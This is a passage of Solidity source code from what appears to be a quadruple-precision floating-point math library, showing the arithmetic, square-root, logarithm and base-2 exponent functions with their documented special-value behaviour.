}\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 